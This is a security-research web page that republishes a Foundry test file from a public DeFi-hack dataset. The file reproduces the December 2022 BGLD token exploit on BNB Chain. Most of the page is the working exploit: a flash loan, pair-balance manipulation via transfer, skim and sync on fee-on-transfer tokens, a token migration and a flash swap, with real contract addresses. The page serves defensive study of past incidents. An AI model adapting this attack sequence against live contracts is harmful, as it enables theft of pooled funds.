Skip to content
THREATWIRE

Public reproduction file

src/test/2022-12/BGLD_exp.sol

Public reproduction file for dataset entry - BGLD (Deflationary token).

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-12/BGLD_exp.sol112 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analysis
8// https://twitter.com/BlockSecTeam/status/1602335214356660225
9// @TX
10// https://bscscan.com/tx/0xea108fe94bfc9a71bb3e4dee4a1b0fd47572e6ad6aba8b2155ac44861be628ae
12interface ERCPorxy {
13 function migrate() external;
16contract ContractTest is Test {
17 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
18 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
19 IERC20 oldBGLD = IERC20(0xC2319E87280c64e2557a51Cb324713Dd8d1410a3);
20 IERC20 newBGLD = IERC20(0x169f715CaE1F94C203366a6890053E817C767B7C);
21 IERC20 DEBT = IERC20(0xC632F90affeC7121120275610BF17Df9963F181c);
22 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
23 ERCPorxy Proxy = ERCPorxy(0xE445654F3797c5Ee36406dBe88FBAA0DfbdDB2Bb);
24 address dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;
25 Uni_Pair_V2 WBNB_oldBGLD = Uni_Pair_V2(0x7526cC9121Ba716CeC288AF155D110587e55Df8b);
26 Uni_Pair_V2 oldBGLD_DEBT = Uni_Pair_V2(0x429339fa7A2f2979657B25ed49D64d4b98a2050d);
27 Uni_Pair_V2 newBGLD_DEBT = Uni_Pair_V2(0x559D0deAcAD259d970f65bE611f93fCCD1C44261);
29 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
31 function setUp() public {
32 cheats.createSelectFork("bsc", 23_844_529);
33 }
35 function testExploit() public {
36 oldBGLD.approve(address(Router), type(uint256).max);
37 oldBGLD.approve(address(Proxy), type(uint256).max);
38 newBGLD.approve(address(Router), type(uint256).max);
39 DEBT.approve(address(Router), type(uint256).max);
40 DVM(dodo).flashLoan(125 * 1e18, 0, address(this), new bytes(1)); // FlashLoan WBNB
41 Proxy.migrate(); // migrate oldBGLD to newBGLD
42 newBGLDToDEBT();
43 newBGLD_DEBT.swap(0, 950 * 1e9, address(this), new bytes(1)); // FlashLoan DEBT
44 Proxy.migrate();
45 newBGLDToDEBT();
46 DEBTToUSDT();
48 emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
50 emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
51 }
53 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
54 WBNB.transfer(address(WBNB_oldBGLD), WBNB.balanceOf(address(this)));
55 address[] memory path = new address[](2);
56 path[0] = address(WBNB);
57 path[1] = address(oldBGLD);
58 uint256[] memory values = Router.getAmountsOut(125 * 1e18, path);
59 WBNB_oldBGLD.swap(0, values[1] * 90 / 100, address(this), "");
60 oldBGLD.transfer(address(WBNB_oldBGLD), oldBGLD.balanceOf(address(WBNB_oldBGLD)) * 10 + 10);
61 WBNB_oldBGLD.skim(address(this));
62 WBNB_oldBGLD.sync();
63 oldBGLDToWBNB();
64 WBNB.transfer(dodo, 125 * 1e18);
65 }
67 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
68 DEBT.transfer(address(oldBGLD_DEBT), DEBT.balanceOf(address(this)));
69 (uint256 oldBGLDreserve, uint256 DEBTreserve,) = oldBGLD_DEBT.getReserves();
70 uint256 amountIn = DEBT.balanceOf(address(oldBGLD_DEBT)) - DEBTreserve;
71 uint256 amountOut = amountIn * 9975 * oldBGLDreserve / (DEBTreserve * 10_000 + amountIn * 9975);
72 oldBGLD_DEBT.swap(amountOut * 90 / 100, 0, address(this), "");
73 oldBGLD.transfer(address(oldBGLD_DEBT), oldBGLD.balanceOf(address(oldBGLD_DEBT)) * 10 + 10);
74 oldBGLD_DEBT.skim(address(this));
75 oldBGLD_DEBT.sync();
76 oldBGLDToDEBT();
77 uint256 loanAmount = 950 * 1e9;
78 DEBT.transfer(address(newBGLD_DEBT), loanAmount * 10_000 / 9975 + 1000);
79 }
81 function oldBGLDToWBNB() internal {
82 address[] memory path = new address[](2);
83 path[0] = address(oldBGLD);
84 path[1] = address(WBNB);
85 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(100 * 1e6, 0, path, address(this), block.timestamp);
86 }
88 function newBGLDToDEBT() internal {
89 address[] memory path = new address[](2);
90 path[0] = address(newBGLD);
91 path[1] = address(DEBT);
92 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
93 newBGLD.balanceOf(address(this)) * 90 / 100, 0, path, address(this), block.timestamp
94 );
95 }
97 function oldBGLDToDEBT() internal {
98 address[] memory path = new address[](2);
99 path[0] = address(oldBGLD);
100 path[1] = address(DEBT);
101 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(100 * 1e6, 0, path, address(this), block.timestamp);
102 }
104 function DEBTToUSDT() internal {
105 address[] memory path = new address[](2);
106 path[0] = address(DEBT);
107 path[1] = address(USDT);
108 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
109 DEBT.balanceOf(address(this)), 0, path, address(this), block.timestamp
110 );
111 }

Analysis

Dataset entry

Public Foundry test for “- BGLD (Deflationary token)” (2022-12-12). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
BGLD (Deflationary token)
Path
src/test/2022-12/BGLD_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
2ff16cfca8a811ec50dd855cb4026a616c79028e
Language
Solidity
Size
113 lines
Date
2022-12-12
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-12/BGLD_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2ff16cfca8a811ec50dd855cb4026a616c79028e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.